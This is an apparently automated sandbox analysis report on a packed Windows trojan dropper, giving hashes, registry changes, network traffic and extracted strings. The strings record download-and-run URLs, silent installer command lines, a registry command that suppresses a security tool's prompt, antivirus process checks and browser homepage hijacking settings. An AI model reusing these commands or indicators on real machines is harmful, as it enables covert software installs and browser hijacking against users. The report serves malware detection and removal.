MD5: d8f0d9e595048e50f5cbd1a6c6589d80
SHA1: 709636c95547622ece9a3741b7631152a39705eb
SHA256: bcb72e9d74a1727668a9f48a153ae106956480a6903fd153c72c317fe1d10c52
SSDeep: 12288:tqbT8oLZ3 a4RDxKlyfjq/zyPdAwdjJwbxRfIrX2dLhl3EP016q:tbQFh4VxKluGzyPdAwtSfIrXuLj3bEq
Size: 1093632 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: no certificate found
Created at: 2014-01-25 10:40:37
Analyzed on: Windows7 SP1 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Process activity

The Trojan creates the following process(es):

%original file name%.exe:3676

The Trojan injects its code into the following process(es):

pack.exe:2764

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:3676 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

Registry activity

The process %original file name%.exe:3676 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\d8f0d9e595048e50f5cbd1a6c6589d80_RASAPI32]
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\d8f0d9e595048e50f5cbd1a6c6589d80_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\d8f0d9e595048e50f5cbd1a6c6589d80_RASAPI32]
"FileTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\d8f0d9e595048e50f5cbd1a6c6589d80_RASMANCS]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"
"MaxFileSize" = "1048576"

"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\d8f0d9e595048e50f5cbd1a6c6589d80_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3E 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\d8f0d9e595048e50f5cbd1a6c6589d80_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\d8f0d9e595048e50f5cbd1a6c6589d80_RASAPI32]
"EnableConsoleTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name: ?????
Product Version: 1.0.0.0
Legal Copyright: ?????? ????????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description: ???????,??,???
Comments: ??????????(http://www.eyuyan.com)
Language: Chinese (Simplified, PRC)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://a1574.b.akamai.net/fcg-bin/cgi_get_portrait.fcg?uins=2919227341
hxxp://blogx.sina.com.cn/dreamcrydc
hxxp://qiniu.xdwscache.ourwebat.com/p
hxxp://z.gds.cnzz.com/stat.htm?id=1254275435
hxxp://base.qzone.qq.com/fcg-bin/cgi_get_portrait.fcg?uins=2919227341	2.21.89.27
hxxp://z11.cnzz.com/stat.htm?id=1254275435	1.122.192.16
hxxp://blog.sina.com.cn/dreamcrydc	218.30.115.123
hxxp://deng.qiniudn.com/p	113.142.80.177

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Unsupported/Fake Windows NT Version 5.0
ET POLICY PE EXE or DLL Windows file download HTTP
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /stat.htm?id=1254275435 HTTP/1.1

Connection: Keep-Alive

Content-Type:  application/x-www-form-urlencoded

Accept:  */*

Accept-Language:  zh-cn

Referer:  hXXp://z11.cnzz.com/stat.htm?id=1254275435

User-Agent:  Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Host: z11.cnzz.com

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 26 Jun 2017 19:50:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding
2..ok..0..

GET /dreamcrydc HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Accept: */*

Host: blog.sina.com.cn

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.2.8

Date: Mon, 26 Jun 2017 19:50:46 GMT

Content-Type: text/html

Content-Length: 12036

Connection: keep-alive

Vary: Accept-Encoding

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Cache-Control: no-cache

Expires: Mon, 26 Jun 2017 19:50:45 GMT

Last-Modified: Fri, 23 Jun 2017 21:53:33 GMT 8

DPOOL_HEADER: 10.69.14.66

SINA-LB: aGwuOTAuc2c1LmphLmxiLnNpbmFub2RlLmNvbQ==

SINA-TS: YjNlYzk2Y2UgMCAwIDAgNyA1NDgK

Age: 280634

X-Cache: HIT from blog-front006.blog.ja.sinanode.com

Cache-Control: 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xml
ns="hXXp://VVV.w3.org/1999/xhtml">.<head>.<meta http-equiv
="Content-Type" content="text/html; charset=utf-8" />.<title>
3945174853_............</title>.<meta name="keywords" content
="3945174853_............,3945174853" />.<meta name="description
" content="3945174853_............,3945174853,........." />.<met
a http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />.<meta 
http-equiv="mobile-agent" content="format=html5; url=hXXp://blog.sina.
cn/dpool/blog/u/3945174853">.<meta http-equiv="mobile-agent" con
tent="format=wml; url=hXXp://blog.sina.cn/dpool/blog/ArtList.php?uid=3
945174853&vt=1">.<!...[if lte IE 6]>.<script type="text/ja
vascript">.try{.document.execCommand("BackgroundImageCache", false,
 true);.}catch(e){}.</script>.<![endif]...>.<script typ
e="text/javascript">.window.staticTime=new Date().getTime();.</s
cript>.<link rel="pingback" href="hXXp://upload.move.blog.sina.c
om.cn/blog_rebuild/blog/xmlrpc.php" />.<link rel="EditURI" type=
"application/rsd xml" title="RSD" href="hXXp://upload.move.blog.sina.c
om.cn/blog_rebuild/blog/xmlrpc.php?rsd" />.<link href="hXXp://bl
og.sina.com.cn/blog_rebuild/blog/wlwmanifest.xml" type="application/wl
wmanifest xml" rel="wlwmanifest" />.<link rel="alternate" type="
application/rss xml" href="hXXp://blog.sina.com.cn/rss/3945174853.
<<< skipped >>>

GET /p HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Accept: */*

Host: deng.qiniudn.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 26 Jun 2017 03:26:35 GMT

Content-Type: application/x-msdownload

Content-Length: 449024

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Access-Control-Expose-Headers: X-Log, X-Reqid

Access-Control-Max-Age: 2592000

Content-Disposition: inline; filename="p"

Content-Transfer-Encoding: binary

Last-Modified: Tue, 20 Sep 2016 15:41:53 GMT

Server: nginx/1.10.2

Cache-Control: public, max-age=31536000

ETag: "FuBb7dhrrq48AhH0EOT15dknN9uR"

X-Log: mc.g;IO/304

X-Reqid: J1sAABMKXBUmjssU

X-Qiniu-Zone: 0

Age: 1

X-Via: 1.1 fuzhou52:4 (Cdn Cache Server V2.0), 1.1 diandxin45:8 (Cdn Cache Server V2.0)

Connection: keep-alive
MZ......................@................................... .........
..!..L.!This program cannot be run in DOS mode....$.............k...k.
..k...g...k...`...k...a...k...x...k.(.6...k.(.e...k...a.z.k...j.p.k...
x...k...`...k.C.`.#.k.C.a...k...k...k.l.m...k...1...k.Rich..k.........
........PE..L...kX.W..........................................@.......
................................................................... ..
T....@................................................................
...............................................text............v......
............`....rdata...p.......4...z..............@....data........0
...v..................@....rsrc........@...6...$..............@....asp
ack..............Z..............`....adata............................
..@...................................................................
......................................................................
......................................................................
............................................ .......4D..D`.T.....j....
.P^p...K.D...J.]...&...BCg...E...x.........I.......KQxZ... e.,..AH..y.
vO *h.e[{...y..b^_..{..;y....y[...A.2A.  w`...fI...Y..fH.2H...&H.. Va.
M.A7..eELQI.kL.g{.....~......O...n....=. ,.q..0.z........S......A.njy4
.6.d..s.....O.Lg....}`.".z... ....o.d......~SA...1 OtU`Z;0`..q...P.%..
M.:.....V...5......q....cpRi..N.@.h&....]..'....#..kU...q.kxz..|...8.%
...Z."..G...".\.K...S.4..C.P....?f...9$..)..k.h......7*.0..N.d.m.R.S-.
v.1$..Cv....Hc........Z..S..5K"G......!.o....Y-\....}C;8........".
<<< skipped >>>

GET /fcg-bin/cgi_get_portrait.fcg?uins=2919227341 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Accept: */*

Host: base.qzone.qq.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

UUID: 10

Content-Type: text/html

Server: QZHTTP-2.38.18

UUID: 10

Content-Length: 0

Date: Mon, 26 Jun 2017 19:50:45 GMT

Connection: keep-alive
HTTP/1.1 404 Not Found..UUID: 10..Content-Type: text/html..Server: QZH
TTP-2.38.18..UUID: 10..Content-Length: 0..Date: Mon, 26 Jun 2017 19:50
:45 GMT..Connection: keep-alive..

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.rsrc

.aspack

.adata

t$(SSh

~%UVW

u$SShe

ole32.dll

urlmon

user32.dll

shell32.dll

RegOpenKeyA

RegEnumKeyA

URLDownloadToFileA

MsgWaitForMultipleObjects

D:\dream

360tray.exe

D:\dream\win1.log

D:\dream\winzb.log

D:\dream\winzye.log

QQPCTray.exe

kxetray.exe

D:\dream\winfy.log

D:\dream\winzyws.log

hXXp://z13.cnzz.com/stat.htm?id=1260082347

C:\Users\Public\Desktop\2345

%Documents and Settings%\All Users\

Software\Microsoft\Windows\CurrentVersion\Uninstall

Software\Microsoft\Windows\CurrentVersion\Uninstall\

Windows

C:\Users\Public\Desktop\

WinHttp.WinHttpRequest.5.1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Content-Type: application/x-www-form-urlencoded

D:\dream\2k1

hXXp://t.cn/RtoBpEb

D:\dream\2k2

hXXp://t.cn/RtoB05B

D:\dream\k1

D:\dream\k2

D:\dream\2345pic_lm_509074_v6.3.7488_silent.exe

hXXp://z4.cnzz.com/stat.htm?id=1254275459

D:\dream\zmbd

hXXp://t.cn/RtoB8qc

D:\dream\Baidu_Setup_2.5.200.2102_ftn_1050101128.exe

hXXp://z4.cnzz.com/stat.htm?id=1256550385

D:\dream\zye

hXXp://t.cn/RtoBOQP

D:\dream\LMIns.exe

hXXp://z11.cnzz.com/stat.htm?id=1256550363

D:\dream\dd2b1

hXXp://t.cn/RtoBxTr

D:\dream\dd2b2

hXXp://t.cn/RtoBxsp

D:\dream\dd2b3

hXXp://t.cn/RtoBJKP

D:\dream\dd2b4

hXXp://t.cn/RtoBJeb

D:\dream\dd2b5

hXXp://t.cn/RtoBixf

D:\dream\dd2b6

hXXp://t.cn/RtoBidC

D:\dream\2b1

D:\dream\2b2

D:\dream\2b3

D:\dream\2b4

D:\dream\2b5

D:\dream\2b6

D:\dream\2345explorer_k1252705.exe

D:\dream\2345explorer_k1252705.exe -s1

2345explorer_k1252705.exe

hXXp://z13.cnzz.com/stat.htm?id=1256619493

D:\dream\fy

hXXp://t.cn/RtnjO3k

D:\dream\CFAB801_KAE8CD_HF3681_ECECAB.exe

D:\dream\CFAB801_KAE8CD_HF3681_ECECAB.exe -s

hXXp://z11.cnzz.com/stat.htm?id=1260083193

D:\dream\js1

hXXp://t.cn/RtoBoTj

D:\dream\js2

hXXp://t.cn/RtoBKGx

D:\dream\js3

hXXp://t.cn/RtoB9LU

D:\dream\jss1

D:\dream\jss2

D:\dream\jss3

D:\dream\duba_u44016306_sv1_3_425.exe

hXXp://z13.cnzz.com/stat.htm?id=1256627376

D:\dream\zyws

hXXp://t.cn/RtQQgwN

D:\dream\BlueBox_lgvalkkx_002141_Setup.exe

D:\dream\BlueBox_lgvalkkx_002141_Setup.exe /S

reg add "HKEY_CURRENT_USER\Software\HomeSafe" /v "StartFlagNoTip" /t REG_DWORD /d 1 /f

D:\dream\zyws.bat

<BrowserItem Process="iexplore.exe" Title="hao123

" URL="hXXp://VVV.hao123.com/?tn=95942880_hao_pg" IsLock="TRUE" />

<BrowserItem Process="chrome.exe" Title="hao123

" URL="hXXp://VVV.hao123.com/?tn=96468612_hao_pg" IsLock="TRUE" />

<BrowserItem Process="safari.exe" Title="hao123

<BrowserItem Process="TheWorld.exe.exe" Title="hao123

<BrowserItem Process="sogouexplorer.exe" Title="hao123

<BrowserItem Process="qqbrowser.exe" Title="hao123

<BrowserItem Process="baidubrowser.exe" Title="hao123

<BrowserItem Process="2345explorer.exe" Title="360

" URL="hXXp://hao.360.cn/?src=lm&ls=n6f9da49b8f" IsLock="TRUE" />

<BrowserItem Process="maxthon.exe" Title="hao123

<BrowserItem Process="ucbrowser.exe" Title="hao123

<BrowserItem Process="firefox.exe" Title="hao123

<BrowserItem Process="hao123Juzi.exe" Title="hao123

<BrowserItem Process="Juzi.exe" Title="hao123

<BrowserItem Process="hao123browser.exe" Title="hao123

<BrowserItem Process="liebao.exe" Title="hao123

<BrowserItem Process="360se.exe" Title="360

<BrowserItem Process="360chrome.exe" Title="360

C:\ProgramData\HomeSafe\start_config.xml

%Documents and Settings%\All Users\Application Data\HomeSafe\start_config.xml

hXXp://z4.cnzz.com/stat.htm?id=1260153122

hXXp://z11.cnzz.com/stat.htm?id=1254275435

::0:0@>@>:0:0:

xjj%uI

:0@>@>:0:0:

4qP.rk%

B&.Ct

%d&&'

123456789

00003333

deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly

inflate 1.1.3 Copyright 1995-1998 Mark Adler

1.2.18

%*.*f

CNotSupportedException

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

COMCTL32.DLL

CCmdTarget

MSWHEEL_ROLLMSG

__MSVCRT_HEAP_SELECT

Broken pipe

Inappropriate I/O control operation

Operation not permitted

MSVFW32.dll

AVIFIL32.dll

iphlpapi.dll

SHLWAPI.dll

MPR.dll

WINMM.dll

WS2_32.dll

VERSION.dll

RASAPI32.dll

GetProcessHeap

WinExec

GetWindowsDirectoryA

GetCPInfo

KERNEL32.dll

GetKeyState

CreateDialogIndirectParamA

UnhookWindowsHookEx

SetWindowsHookExA

USER32.dll

GetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GetViewportExtEx

GDI32.dll

WINSPOOL.DRV

comdlg32.dll

RegCloseKey

RegOpenKeyExA

RegCreateKeyExA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

OLEAUT32.dll

COMCTL32.dll

WININET.dll

.PAVCException@@

Shell32.dll

Mpr.dll

Advapi32.dll

User32.dll

Gdi32.dll

Kernel32.dll

(&07-034/)7 '

?? / %d]

%d / %d]

.PAVCFileException@@

: %d]

(*.*)|*.*||

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|PNG

(*.PNG)|*.PNG|BMP

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

%s:%d

windows

.PAVCNotSupportedException@@

out.prn

(*.prn)|*.prn|

%d.%d

%d/%d

1.6.9

unsupported zlib version

png_read_image: unsupported transformation

%d / %d

Bogus message code %d

libpng error: %s

libpng warning: %s

1.1.3

bad keyword

libpng does not support gamma background rgb_to_gray

Palette is NULL in indexed image

(%d-%d):

%ld%c

(*.avi)|*.avi

WPFT532.CNV

WPFT632.CNV

EXCEL32.CNV

write32.wpc

Windows Write

mswrd632.wpc

Word for Windows 6.0

wword5.cnv

Word for Windows 5.0

mswrd832.cnv

mswrd632.cnv

Word 6.0/95 for Windows & Macintosh

html32.cnv

%s <%s>

Reply-To: %s

From: %s

To: %s

Subject: %s

Date: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

SMTP

.PAVCObject@@

.PAVCSimpleException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

zcÁ

D:\dream\pack.exe

#include "l.chs\afxres.rc" // Standard components

kernel32.dll

The procedure entry point %s could not be located in the dynamic link library %s

The ordinal %u could not be located in the dynamic link library %s

msvfw32.dll

avifil32.dll

winmm.dll

ws2_32.dll

rasapi32.dll

gdi32.dll

winspool.drv

advapi32.dll

oleaut32.dll

comctl32.dll

wininet.dll

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity name="E.App" processorArchitecture="x86" version="5.2.0.0" type="win32"/><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/> </requestedPrivileges> </security></trustInfo></assembly>

@/2222$.

^/22/2222

(*.*)

4.2.1.0

pack.exe_2764_rwx_00531000_00002000:

kernel32.dll

user32.dll

The procedure entry point %s could not be located in the dynamic link library %s

The ordinal %u could not be located in the dynamic link library %s

msvfw32.dll

avifil32.dll

winmm.dll

ws2_32.dll

rasapi32.dll

gdi32.dll

winspool.drv

comdlg32.dll

advapi32.dll

shell32.dll

ole32.dll

oleaut32.dll

comctl32.dll

wininet.dll

RegCloseKey

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity name="E.App" processorArchitecture="x86" version="5.2.0.0" type="win32"/><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/> </requestedPrivileges> </security></trustInfo></assembly>

4.2.1.0

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   %original file name%.exe:3676
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.